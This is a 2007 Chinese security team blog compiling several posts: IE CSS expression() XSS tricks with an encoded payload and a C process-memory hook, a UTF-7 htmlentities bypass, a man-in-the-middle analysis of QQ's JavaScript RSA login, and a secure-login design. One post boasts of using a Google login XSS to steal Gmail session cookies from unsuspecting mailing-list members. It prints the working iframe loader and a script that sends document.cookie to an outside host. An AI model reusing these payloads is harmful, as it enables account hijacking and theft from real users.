2007年11月29日星期四

[Tips]我和expression的日与被日

by jno
2007-11-29
http://www.ph4nt0m.org

Text Mode

当你第一次用expression方式来xss时,你肯定傻眼了,不停弹框,没法关闭浏览器,最终你只能祭出任务管理器将进程结束。也许你其他TAB页正有填到一半尚未提交的表单,你就这样被expression给日了,心里非常郁闷,于是就要想办法干它。

很多人第一反应就是cookie,没错这是个好办法:

<div style="width: expression(if(document.cookie.indexOf('xxxx')<0){alert(1);document.cookie='xxxx=1;'+document.cookie;})"></div>

不过这样写有个问题,就是被攻击者浏览器只能执行一次你的alert,cookie的作用域大于一次页面执行,适合用来做跨页面的标识,而不是仅仅用来控制一个页面里的某段代码的执行次数,而且你测试起来也挺麻烦,弄得不好就要清cookie。

循着这个思路很自然就会想到在页面里设置标识,于是就有了第二种方法:

<div style="width: expression(if(!window.xxx){alert(1);window.xxx=1;})"></div>

使用全局变量来做标识,使我的代码在这个页面级别只执行一次,这样是一个比较完美的办法,也是目前被使用的最多的办法。

但是到这里总还觉得不爽,虽然我的alert只被执行了一次,但是判断代码还是在被不停的执行,我们还是在被它日,只不过感觉不出来而已了,我们的目标是日它,办法就是执行完我们的代码后删除这条expression,翻阅MSDN你很快能找到合适的方法:

object.style.removeExpression(sPropertyName)

看起来很美,可是你把这个语句放进expression内部用它来删除expression自身却怎么也不能成功,该死的alert还是会一遍遍的弹出来。使用setTimeout延迟执行?失败;使用execScript在全局执行?失败;结合setTimeout和execScript在延迟在全局执行?还是失败;在body尾部append一个外部script来执行?失败;在body尾部append一个外部script并且setTimeout延迟并且execScript全局执行?草,终于tmd成功了:

<!------1.htm------>
<html>
<style>
body 
{
    width
: expression(eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29,0x3B,0x69,0x66,0x28,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x29,0x7B,0x76,0x61,0x72,0x20,0x73,0x3D,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6C,0x65,0x6D,0x65,0x6E,0x74,0x28,0x22,0x73,0x63,0x72,0x69,0x70,0x74,0x22,0x29,0x3B,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x2E,0x61,0x70,0x70,0x65,0x6E,0x64,0x43,0x68,0x69,0x6C,0x64,0x28,0x73,0x29,0x3B,0x73,0x2E,0x73,0x72,0x63,0x3D,0x22,0x31,0x2E,0x6A,0x73,0x22,0x3B,0x7D)));
    
/*alert(1);if(document.body){var s=document.createElement("script");document.body.appendChild(s);s.src="1.js";}*/
}
</style>
<body>
</body>
</html>

//--------1.js---------//
setTimeout(function(){execScript("document.body.style.removeExpression(\"width\")");}, 0);

可是还有那么一点不完美,就是无论怎么样,最少也要执行两次,不过我爽了,总算把这个expression给日了。当然如果你是个完美主义者,可以用这个方法结合if(!window.xxx)法。

各位看官看到这里,可能已经严重怀疑我是被虐狂,这么多方法测试下来,我还不弹框框弹到崩溃?其实我并非浪得虚名,测之前早有准备,先厚者脸皮去幻影邮件列表跪求alert框框原理,没想到大家非常热情地给予帮助,最终zzzevazzz大侠最先找到实现API是MessageBoxIndirectW,从win2k源代码中觅得。然后又花上半日工夫草成一个hook MessageBoxIndirectW的小工具,可惜又遇到个小问题至今没有解决,这个函数的参数是个MSGBOXPARAMS结构体:

typedef struct {
    UINT cbSize;
    HWND hwndOwner;
    HINSTANCE hInstance;
    LPCTSTR lpszText;
    LPCTSTR lpszCaption;
    DWORD dwStyle;
    LPCTSTR lpszIcon;
    DWORD_PTR dwContextHelpId;
    MSGBOXCALLBACK lpfnMsgBoxCallback;
    DWORD dwLanguageId;
} MSGBOXPARAMS, 
*PMSGBOXPARAMS;

我写了个小程序测试发现只要把hwndOwner和dwStyle都置为0,这个对跨框就不是模态的,父窗口点关闭也可以关闭程序,我hook的目的也在于此,可是在IE里具体测试的时候,发现即使对话框不是模态的,我点关闭IE按钮也没法关闭IE窗口,所以这个方法只针对有TAB页的IE7有意义,对话框非模态后,我可以切换到其他TAB页去并关闭弹框的TAB页,但是对于IE6来说不能点关闭就没有意义,于是我干脆也不修改什么参数了,直接把这个函数返回掉了,代码在最后附上。

至此,我和expression的恩怨总算可以告一段落,整个世界清静了。

/*
* FileName: IEAlertPatch.c
* Version: 1.0
* Contact: luoluonet@yahoo.cn
* P.S: Thanks zzzEVAzzz, he found out the API that alert uses.
*/
#include 
<Windows.h>
#include 
<Tlhelp32.h>
#include 
<Imagehlp.h>

#pragma comment(lib, 
"advapi32.lib")

//
// function prototype
//
DWORD WINAPI GetProcessIdByName(LPCTSTR lpProcessName);
__inline HookProc();
BOOL WINAPI HookAlert(DWORD pId);
LPVOID GetSC(LPVOID lpProc, DWORD
* dwLen, DWORD dwReserved);

//
// start of winmain
//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
    DWORD pId;
    OSVERSIONINFOEX osvi;
    BOOL bRet;
    TCHAR procName[] 
= TEXT("iexplore.exe");

    ZeroMemory(
&osvi, sizeof(OSVERSIONINFOEX));
    osvi.dwOSVersionInfoSize 
= sizeof(OSVERSIONINFOEX);

    
//
    
// Get system version
    
//
    bRet = GetVersionEx((OSVERSIONINFO *)&osvi);
    
if (! bRet)
    {
        osvi.dwOSVersionInfoSize 
= sizeof(OSVERSIONINFO);
        bRet 
= GetVersionEx((OSVERSIONINFO *)&osvi);
        
if (! bRet)
            
goto FreeAndExit;
    }

    
// Verify if it is NT system
    if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
    {
        pId 
= GetProcessIdByName(procName);
        
if (pId != 0)
            HookAlert(pId);
    }

FreeAndExit:
    
return 0;

}
//
// End of WinMain
//

//
// @Name:        GetProcessIdByName
// @Author:        luoluo
// @Time:        2005-04-17
// @Param:        lpProcessName spacifies the ProcessName
// @Ret:        if success, return the process id
//                if failed, return 0
//        
DWORD WINAPI GetProcessIdByName(LPCTSTR lpProcessName)
{
    HANDLE hSnapshot;
    DWORD dwRet 
= 0;
    LPPROCESSENTRY32 pPe32;
    BOOL bRet;

    
// Get all the processes in the snapshot    
    hSnapshot = CreateToolhelp32Snapshot(0x000000020);
    
if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        
goto FreeAndExit;
    }

    pPe32 
= (LPPROCESSENTRY32)malloc(sizeof(PROCESSENTRY32));
    ZeroMemory(pPe32, 
sizeof(PROCESSENTRY32));
    pPe32
->dwSize = sizeof(PROCESSENTRY32);

    
// Get the first process
    bRet = Process32First(hSnapshot, pPe32);
    
if (! bRet)
    {
        
goto FreeAndExit;
    }

    
if (stricmp(lpProcessName, pPe32->szExeFile) == 0)
    {
        dwRet 
= pPe32->th32ProcessID;
        
goto FreeAndExit;
    }

    
// Travesal the left processes
    while (TRUE)
    {
        bRet 
= Process32Next(hSnapshot, pPe32);
        
if (! bRet)
        {
            
goto FreeAndExit;
        }

        
if (stricmp(lpProcessName, pPe32->szExeFile) == 0)
        {
            dwRet 
= pPe32->th32ProcessID;
            
goto FreeAndExit;
        }
    }

FreeAndExit:
    
if (pPe32 != NULL)    free(pPe32);
    
if (hSnapshot != NULL)    CloseHandle(hSnapshot);

    
return dwRet;
}

__inline __declspec(naked) HookProc()
{
    __asm
    {
        leave
        retn 
4
        
/*
        push esi
        mov esi, [ebp+8h]
        mov dword ptr [esi+4h], 0h    // modify the hwnd
        mov dword ptr [esi+14h], 0h // modify the type
        pop esi
        
*/
        _emit 90h
        _emit 90h
        _emit 90h
        _emit 90h
    }
}

LPVOID GetSC(LPVOID lpProc, DWORD
* dwLen, DWORD dwReserved)
{
    LPVOID lpProc1 
= NULL;
    LPVOID lpSC 
= NULL;

    __asm
    {
        push ebx
        mov ebx, lpProc
        dec ebx
_loop:
        inc ebx
        cmp dword ptr [ebx], 90909090h
        jne _loop
        mov lpProc1, ebx
        pop ebx
    }

    
*dwLen = (DWORD)lpProc1 - (DWORD)lpProc;
    lpSC 
= malloc(*dwLen + dwReserved);
    memset(lpSC, 
0*dwLen + dwReserved);
    memcpy(lpSC, lpProc, 
*dwLen);
    
*dwLen += dwReserved;

    
return lpSC;
}

BOOL WINAPI HookAlert(DWORD pId)
{
    HMODULE hModule 
= NULL;
    DWORD dwMessageBoxIndirectW 
= 0;
    HANDLE hProcess;
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    BOOL bRet 
= FALSE;
    BOOL bRetVal;
    LPVOID lpCodeMemory;
    MEMORY_BASIC_INFORMATION mbi;
    SIZE_T szRet;
    DWORD dwOldProtect;
    DWORD dwJmpOffset 
= 0;
    unsigned 
char szJmpCode[5= {0};
    unsigned 
char szOldCode[5= {0};
    LPVOID lpHookCode 
= NULL;
    DWORD dwHookCodeLen 
= 0;

    hModule 
= LoadLibrary("user32.dll");
    dwMessageBoxIndirectW 
= (DWORD)GetProcAddress(hModule, "MessageBoxIndirectW");

    lpHookCode 
= GetSC(&HookProc, &dwHookCodeLen, 10);
    
if (lpHookCode == NULL)
    {
        
goto FreeAndExit;
    }

    
// Open process token to ajust privileges
    bRetVal = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }

    
// Get the LUID for debug privilege
    bRetVal = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);

    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }

    tkp.PrivilegeCount 
= 1;
    tkp.Privileges[
0].Attributes = SE_PRIVILEGE_ENABLED;

    
// Adjust token privileges
    bRetVal = AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(&tkp), (PTOKEN_PRIVILEGES)NULL, 0);
    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }

    
// Open remote process
    hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pId);
    
if (hProcess == NULL)
    {
        
goto FreeAndExit;
    }

    
// Read 5 byte from function to be hooked
    bRetVal = ReadProcessMemory(hProcess, (LPCVOID)dwMessageBoxIndirectW, szOldCode, sizeof(szOldCode), NULL);
    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }

    
// Allocate memory from remote process
    lpCodeMemory = VirtualAllocEx(hProcess, NULL, dwHookCodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
if (lpCodeMemory == NULL)
    {
        
goto FreeAndExit;
    }

    
// Query the page information
    ZeroMemory(&mbi, sizeof(MEMORY_BASIC_INFORMATION));
    szRet 
= VirtualQueryEx(hProcess, lpCodeMemory, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
    
if (szRet == 0)
    {
        
goto FreeAndExit;
    }

    
// Modify the page protection for write
    bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &mbi.Protect);
    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }

    
// the function has been hooked
    if (szOldCode[0== ((unsigned char)'\xE9'))
    {
        dwJmpOffset 
= (*((int*)(szOldCode + 1))) + dwMessageBoxIndirectW + 5 - ((DWORD)lpCodeMemory) - dwHookCodeLen + 5;
        memcpy(szOldCode 
+ 1, (LPVOID)(&dwJmpOffset), 4);
    }

    
// debugger present and breakpoint here
    if (szOldCode[0== '\xCC')
    {
        
goto FreeAndExit;
    }

    
// copy the start code of funciton hooked to the end of hook code
    memcpy((LPVOID)(((DWORD)lpHookCode) + dwHookCodeLen - 10), szOldCode, sizeof(szOldCode));

    
// code jmp back to function hooked
    memset((LPVOID)(((DWORD)lpHookCode) + dwHookCodeLen - 5), '\xE9'1);
    dwJmpOffset 
= dwMessageBoxIndirectW - ((DWORD)lpCodeMemory) - dwHookCodeLen + 5;
    memcpy((LPVOID)(((DWORD)lpHookCode) 
+ dwHookCodeLen - 4), (LPVOID)(&dwJmpOffset), 4);

    
// Write my code to remote process memory
    bRetVal = WriteProcessMemory(hProcess, lpCodeMemory, lpHookCode, dwHookCodeLen, 0);
    
if (! bRetVal)
    {
        VirtualFreeEx(hProcess, lpCodeMemory, dwHookCodeLen, MEM_RELEASE);
        
goto FreeAndExit;
    }

    
// Modify the page protection to protect
    bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }

    
// hook code
    szJmpCode[0= '\xE9';    // jmp
    dwJmpOffset = ((DWORD)lpCodeMemory) - dwMessageBoxIndirectW - 5;
    memcpy(szJmpCode 
+ 1, (LPVOID)(&dwJmpOffset), 4); 

    
// Query the page information
    ZeroMemory(&mbi, sizeof(MEMORY_BASIC_INFORMATION));
    szRet 
= VirtualQueryEx(hProcess, (LPVOID)dwMessageBoxIndirectW, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
    
if (szRet == 0)
    {
        
goto FreeAndExit;
    }

    
// Modify the page protection for write
    bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &mbi.Protect);
    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }
    
    
// Write hook code to the functon to be hooked
    bRetVal = WriteProcessMemory(hProcess, (LPVOID)dwMessageBoxIndirectW, szJmpCode, sizeof(szJmpCode), 0);
    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }

    
// Modify the page protection to protect
    bRetVal = VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
    
if (! bRetVal)
    {
        
goto FreeAndExit;
    }

FreeAndExit:
    
if (hProcess != NULL)
    {
        CloseHandle(hProcess);
    }
    
if (hToken != NULL)
    {
        CloseHandle(hToken);
    }
    
if (lpHookCode != NULL)
    {
        free(lpHookCode);
        lpHookCode 
= NULL;
    }

    
return bRet;
}

[Tips]xss/csrf in penetration test

author: superhei
date: 2007-11-29
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com

一.Owning Ha.ckers.org

前段时间在Sirdarckcat和Kuza55一起"Owning Ha.ckers.org"中,就是利用xss等的攻击进行渗透[然后没有成功,但是里面的技术细节值得学习],具体技术细节请参考:
1.Sirdarckcat的 blog:
http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html
2.rSnake的blog:
http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/

首先他们利用了以前rsnake用来测试xss的一个flash:http://ha.ckers.org/xss.swf [现在已经拒绝访问了],由于这个flash本身存在一个xss[Cross Site Flashing:请参考Stefano Di Paola的文档Testing Flash Applications],as2的代码like this:

getURL("javascript:alert('xss')""_self""GET");
stop();

在"Flash Lite 2.x ActionScript 语言参考"里有这样的描叙http://livedocs.adobe.com/flashlite/2_cn/main/00000160.html:
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
getURL(url:String [, window:String [, method:String] ]) :Void
.....
method:String [可选] -- 用于发送变量的 GET 或 POST 方法。如果没有变量,则省略此参数。GET 方法将变量追加到 URL 的末尾,它用于发送少量的变量。POST 方法在单独的 HTTP 标头中发送变量,它用于发送大量的变量。
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
当我们指定第3个参数method:String 为get或者post,可以提交变量追加到url末尾,这个也就意味着getURL函数的url可以injection something :). 我们回到xss.swf
我们提交: xss.swf?a=0:0;eval(alert('xss');

as2里:getURL("javascript:alert('xss')?a=0:0;eval(alert('xss');", "_self", "GET");
注意那个?和后面都加到了url的后面,Sirdarckcat使用js的一个3元条件a=0:0;巧妙的闭和了语句.

demo:
http://60.190.243.111/superhei/xss/xss.swf?a=0:0;eval(alert('xss2'));

成功完成了xss.

在Sirdarckcat的poc里使用的是:
<iframe src="http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;" name="...[playload]"></iframe>

这里他们认为rSnake使用ff+noscript,所以使用上面pass noscript,当然现在noscript已经修补了这个bug.

a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;
这个也就是
eval(atob(window.name)).

atob=decode base64

这个又是他们的一个技巧,使用编码饶过一些检测 ..

他的playload好象就是利用一个csrf发了一个blog? 具体没有去看wp的代码 :).

在irc里我问过Sirdarckcat为什么他不用,得到cookie然后欺骗进后台,他说好象是后台可能禁止了他的ip登陆.

在整个过程,Sirdarckcat和Kuza55利用了n个细节来达到目的,因为他们的目标也是一位xss的牛人,比如还先利用了css来取浏览器的访问历史,来判断目标是不是进过后台[利用css的目的是no script] 等等....

二.Owning Some-Hacks's Gmail

也是前段时间jx发现了google登陆口的一个xss: http://www.xfocus.net/articles/200711/957.html,在xf公布之前,我使用这个bug测试一下,结果我得到了国内很多搞安全的人的gmail的cookie :)

xss点:
https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive=truel#"></script><script>alert('xss')</script>&1-=1

利用:经常测试发现这个是一个https的xss,在ie下使用iframe调用时得不到gmail的cookie[当然利用利用jx那文章里提到的 window.location但是不够隐蔽],我们的目标是搞安全的,一般的安全意识还是有的,而且现在搞安全的一般都是使用ff,因为ie太不安全, 所以我决定先只考虑ff....

创建iframe的代码如下[感谢luoluo的指点:)]:
<html><body>
<iframe src="" id="f"></iframe>
<script>
foourl
='';
document.getElementById(
"f").src='https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2&passive=truel#"></sc'+'ript><scr'+'ipt src="http://60.190.243.111/superhei/ieav/gm.js"></scr'+'ipt>';
alert(document.getElementById("f").src);
document.getElementById(
"f").style.width = 0;
document.getElementById(
"f").style.height = 0;
</script>
</body>
</html>

我的playload放在远程的一个js里:http://60.190.243.111/superhei/ieav/gm.js

那么怎么让目标访问呢,哈哈,这里幻影的maillist帮了我一个大忙,maillist简直都是我测试的理想场所 .

首先我在maillist发了一个phpcms的漏洞公告,里面的内容就是一个link:http: //60.190.243.111/superhei/ieav/phpcms.htm,这里phpcms.htm里有我发现的phpcms漏洞的简单分析[由于只是测试,我没有发很引诱人的东西,如ie0day什么的,分析也写的很简单],当然也有我上面构造的xss的代码.

我们看看真正的playload:http://60.190.243.111/superhei/ieav/gm.js的代码:
getURL("http://xxx.com/test.asp?cn="+encodeURIComponent(document.cookie));

function getURL(s) {
    
var image = new Image();
    image.style.width 
= 0;
    image.style.height 
= 0;
    image.src 
= s;
}

利用Image发送cookie.

然后在maillist发布我的贴以后,我就去上晚班了,等我第2天早上9:00下班后,发现我的数据库里躺着n个人的cookie :)

在整个过程,我以为我的行为会被人发现,遗憾的是一直没有人跟贴反应,只有一个朋友我们的boy同学用noscript拦截了我的攻击,说实话开始之前我对 noscript一无所知,所以根本没有考虑,由此国内安全人员自己的安全意识也要加强了. 这个攻击其实没什么新东西也没有Sirdarckcat那么的技术细节考虑但是效果还是明显的,回想起以前lis0利用xss进我163的mail时,可能也是利用了相同的伎俩?

三.后话

xss和csrf是我见过最卑鄙无耻的攻击方法,尤其是csrf[虽然上面的例子没有涉及],这个也是我一直bs它们的理由,在bs他们的同时我们应该去了解他们,因为'黑客无处不在' :)

在国内好多人在提到xss的时候只是来个alert,真正利用还是很麻烦,而且真正用到渗透测试中更加少了...,不过我有理由相信在以后的渗透测试里,会出现更加多xss/csrf等等 攻击手段.

[最后,感谢和我一起交流,一起学习的朋友们!]

2007年11月28日星期三

[Tips]Bypass htmlentities

author: superhei
date: 2007-11-27
http://www.ph4nt0m.org

Gareth Heyes在他的blog上发了一个"htmlentities is badly designed": http://www.thespanner.co.uk/2007/11/26/htmlentities-is-badly-designed/

大意就是说在默认参数下htmlentities不会过滤'导致xss等, php手册里的描叙:

htmlentities
(PHP 3, PHP 4, PHP 5)

htmlentities -- Convert all applicable characters to HTML entities
Description
string htmlentities ( string string [, int quote_style [, string charset]] )


This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.

Like htmlspecialchars(), the optional second quote_style parameter lets you define what will be done with 'single' and "double" quotes. It takes on one of three constants with the default being ENT_COMPAT:

表格 1. Available quote_style constants

Constant Name Description
ENT_COMPAT Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES Will convert both double and single quotes.
ENT_NOQUOTES Will leave both double and single quotes unconverted.


在htmlspecialchars里:

'&' (ampersand) becomes '&'

'"' (double quote) becomes '"' when ENT_NOQUOTES is not set.

''' (single quote) becomes ''' only when ENT_QUOTES is set.

'<' (less than) becomes '<'

'>' (greater than) becomes '>'

所以使用htmlentities($variable, ENT_QUOTES);要比htmlentities($variable);安全. 但是htmlentities()只是一个字符处理的函数,在很多情况下 可能导致xss等的攻击,例如编码:utf7,utf8...

测试一下:

<?php
echo htmlspecialchars($_GET[url], ENT_QUOTES);
?>

提交:

url=%2bADw-SCRIPT%2bAD4-alert(document.cookie)%2bADw-%2fSCRIPT%2bAD4-

还有很多2次编码的情况也有可能pass htmlentities

2007年11月23日星期五

[Tips]QQ网站登录的RSA加密传输缺陷分析

by axis
2007-11-23
http://www.ph4nt0m.org


QQ网站登录处没有使用https进行加密,而是采用了RSA非对称加密来保护传输过程中的密码以及敏感信息的安全性。 QQ是在javascript中实现整个过程的。这个想法非常新颖,详细可以参考云舒写过的 《RSA非对称加密的一些非常规应用》,地址为http://www.icylife.net/yunshu/show.php?id=471


这个原理简单描述为下:
1. 在server端生成一对RSA密钥,包括public key 和 private key
2. public key传输给客户端浏览器, 客户端浏览器用public key加密敏感数据,比如密码;加密后的密文传回给server,然后server用 private key解密。
3. 注意private key只保存在server端,而public key则分发给所有人。 由于 private key只有server知道,所以密文即使被截获了,也无法解开。


这个解决方案其实还是非常好的,至少他防住了大部分的攻击,但是为什么说它是无法替代https,是有缺陷的呢?

因为这个方案无法防止中间人攻击 (man-in-the-middle)。


攻击过程如下:
1. 攻击者通过MIM(比如arp欺骗等)劫持server与客户端浏览器之间的http包
2. 攻击者生成一对伪造的RSA密钥: fake public key/fake private key
3. 攻击者将js文件中的public key替换为fake public key,并传输给客户端浏览器
4. 客户端浏览器用 fake public key加密敏感数据,比如密码,并将加密后的数据传输给攻击者
5. 攻击者用fake private key解密,获得明文密码等
6. 攻击者用server的public key加密明文数据,并传送给server


整个过程中不会出现任何提示,而用户的明文数据则被窃取了!

而luoluo则提出来一个更邪恶的想法(顺便在这里祝luoluo今天生日快乐!),他提出可以直接将加密的介质修改。

比如,如果是用js在做加密,则修改js,如果是用flash或java applert做加密,则替换flash或applet,直接去掉加密过程,捕获明文密码。


那么为什么说https是不可替代的呢? 因为当实施中间人攻击的时候,浏览器会提示证书已改变(具体参考云舒的关于https安全性的文章),这种机制是内建在浏览器里的,攻击者无力改变它。所以这种报警是非常有意义的。


而如果像QQ一样使用js进行RSA加密传输,实施中间人攻击的时候,是不会有任何提示的,一切都会在用户不知情的情况下发生。


这种情况和以前windows的RDP中间人攻击情况一样: 当使用3389端口的rdp协议登录时候,证书改变的时候没有任何提示。


而相对设计比较安全的ssh协议,ssl协议等,则都会针对证书改变做出提示,防止中间人攻击。


所以,QQ的这个方案只能保护传输过程中一般的sniffer攻击,但是考虑到当今网络环境下,大部分的sniffer都是基于arp欺骗的,所以这种保护机制其实是非常脆弱的。它只能对抗目前已知的arp sniffer软件,而对专门开发的替换关键字的软件,则无法有效防御。一旦这种专门针对QQ网站登录的sniffer软件被开发出来并且提供下载,灾难就不远了。


不过这个方案还是有积极意义的,除去不能抵抗中间人攻击的缺陷外,其他方面都比较完美,特别是成本低廉。如果与https结合使用来防止中间人攻击的话,整个方案就更完美了。


之前曾与朋友戏言QQ是否会因为我这一篇文章而多花费几百万的经费去购买https证书和https硬件加速服务器,现在让我们拭目以待,看看QQ是否是真正的用户至上。


希望QQ能越做越好。

2007年11月22日星期四

[Paper]安全登录的跨平台解决方案 ver 1.1

Team: http://www.ph4nt0m.org
Author: 云舒(http://www.icylife.net/
Date: 2007-11-23

最近在考虑一个安全可靠的,容易部署的方案来解决登陆的安全问题,因为这个问题随着网上银行,网络游戏等的兴起而越来越重要。之所以想跨平台,是 因为最近很多的linux用户在网上讨论linux,firefox这些使用网银等时候遇到的麻烦。我恰好看了他们的很多讨论,除了口水之外没有别的东 西,只废话而不做事的废柴太多了。因此,我就有了这么一篇文章,介绍一下怎么实现安全的登陆。题外话一句,我对web安全的各种技巧,其实没有太大的兴 趣,虽然闲得没事也会偶尔玩玩,只是和我玩CS差不多而已。

一. 登陆面临的安全攻击

1. 键盘记录

键盘记录应该是目前最流行的盗取密码的方法了,攻击者在系统中使用全局键盘钩子,记录用户的按键操作,并根据用户窗口的标题来确定是不是自己需要盗取的东西。

2. 系统消息

用户在浏览器中敲完了密码之后,攻击者的程序给浏览器发送消息,要求取得密码输入框的值,随后保存并记录下来。在windows2000以后的系统中,做了一点改进,但是创建了远程线程之后就依旧可以了。

3. 传输捕获

攻击者在网络中劫持或者嗅探传输数据,直接获取明文密码。虽然现在https使用较多,但是https速度较慢,影响服务器速度,而且也存在比较 严重的一些安全缺陷,并不是一种非常可靠的办法。关于https的劫持,可以看我的一个相关文章《如何进行https中间人攻击》,地址在http://www.icylife.net/yunshu/show.php?id=468

二. 当前的解决办法以及缺陷

1. 当前国内解决方案

目前国内最常见的解决办法是ActiveX控件加https的方式。使用ActiveX控件来保护输入不被键盘记录和伪造的系统消息获取, https来保证传输的隐秘性和完整性。招行,民生银行的登陆大致都是这样的模式,因此国内某些firefox用户比较不满。我曾经在一个帖子中说过键盘 记录的问题,被说成是银行的枪手,这里就不说了。

2. ActiveX的缺陷

https的缺陷就不说了,很容易就可以伪造证书劫持传输,虽然会提示证书警告,但是有多少用户会在意了?而且国内不少银行自己的证书本来就会有 安全警告提示。ActiveX的缺陷也很明显,首先只支持windows系统和IE浏览器;其次本身容易出现安全问题,造成溢出等攻击;最后,对于更底层 的挂接I/O驱动的攻击比较为难,当然ActiveX也可以调用自己的驱动,但是成本太高了。

三. 跨平台的解决方案

1. 解决方案

我这里的方案是一个思路,不局限于语言。如果不想跨平台你可以使用ActiveX实现,如果需要跨平台可以使用java applet实现,甚至还可以使用flash来实现。利用的方法主要是随机键位的软键盘以及RSA非对成加密。RSA也是一个很有意思的东西,可以看看 《RSA非对称加密的一些非常规应用》,地址为http://www.icylife.net/yunshu/show.php?id=471

目前常见的登陆都是html等语言作的,然后调用ActiveX控件或者java applet来输入密码。其实,最好的解决方案是直接使用java applet作一个form,用来接受用户名和密码,做出相应的处理后再登陆。

首先,在服务器端生成一对2048位的RSA密钥,私钥保存好,公钥则发布到网上,让客户端可以通过类似http://www.test.com/login/publickey.txt的域名来进行访问。

其次,在客户端用java applet作一个form来等待用户输入。用户名常规方法输入,而密码框得到焦点时,弹出虚拟键盘。键盘每个键的位置随机出现,防止别人记录。而在 java applet中,有一个变量real_pass,在用户点了一个键,比如说是点了a的时候,real_pass += 'a',同时在密码输入框中随机输入一个字符,直到用户密码输入完成。这个时候,真实的密码记录在real_pass变量中,而密码输入框中是一个伪造的 密码。

再次,用户点击提交按钮的时候,客户端从服务端获取RSA公钥,对real_pass进行RSA非对称加密,然后提交到服务端等待认证。

2. 优势

最明显的优势是使用了java applet来进行客户端操作,而java是可以跨平台,跨浏览器的。因此firefox用户,linux用户都可以成功的使用。其次,java是一种安全的语言,不会存在ActiveX自身容易出现的缓冲区溢出等安全问题。

3. 缺陷

使用java applet的缺陷主要有三点:第一,jre过于庞大,而且还没有普及到所有的用户当中;第二,jre也出现过一些溢出类的安全漏洞,因为jre本身是使 用c写的;第三,java applet的运行速度不如ActiveX快。当然,可以使用ActiveX技术实现同样的思路,只是那样就不能跨平台了,违背了设计的初衷。

四. 总结

这个只是安全登陆的一个思路,和具体的语言以及平台都没有关系,可以用java applet实现,可以用ActiveX实现,甚至还可以使用js来实现,只要你能用js画出那个键位随机的键盘,后面的真假密码,以及RSA加密等js 实现起来就不难了。其实js也是个不错的选择,而且还没有客户端环境需求。关于钓鱼的内容,我们team的刺写过一些文章,我就不多说了。本文可以随意转 载,但是请保留出处和版权,并且不得用于商业用途,谢谢。

五. 补充

下午写完这个方案后发布到了我们team的blog和邮件列表,算是1.0版本。后来和刺,螺螺做了一番讨论,还谈到了上面说过的《RSA非对称加密的一些非常规应用》中关于代替https的部分。这里确实存在一个安全缺陷,因此作了这个补充,算是这个方案的1.1版。

主要是因为用JS来实现RSA加密代替HTTPS,也存在中间人攻击的问题。明文传输的JS中保存了public key,攻击者可以作中间人,在客户端请求服务端的时候,替换掉这个public key,从而得到传输的密码。

在现在提出的这个解决方案的1.0版中,我提出"在服务器端生成一对2048位的RSA密钥,私钥保存好,公钥则发布到网上,让客户端可以通过类似http://www.test.com/login/publickey.txt的 域名来进行访问。“这样其实是不够安全的。这么作的原因是可以很方便的修改public key而不用重新编译java applet或者flash程序,但是带来的后果是如果有人在传输这个public key的时候劫持了会话,可能会自己生成一对RSA密钥,将其中的公钥作为真实服务器的公钥传递给登陆用户,最终可获取传输的明文密码。

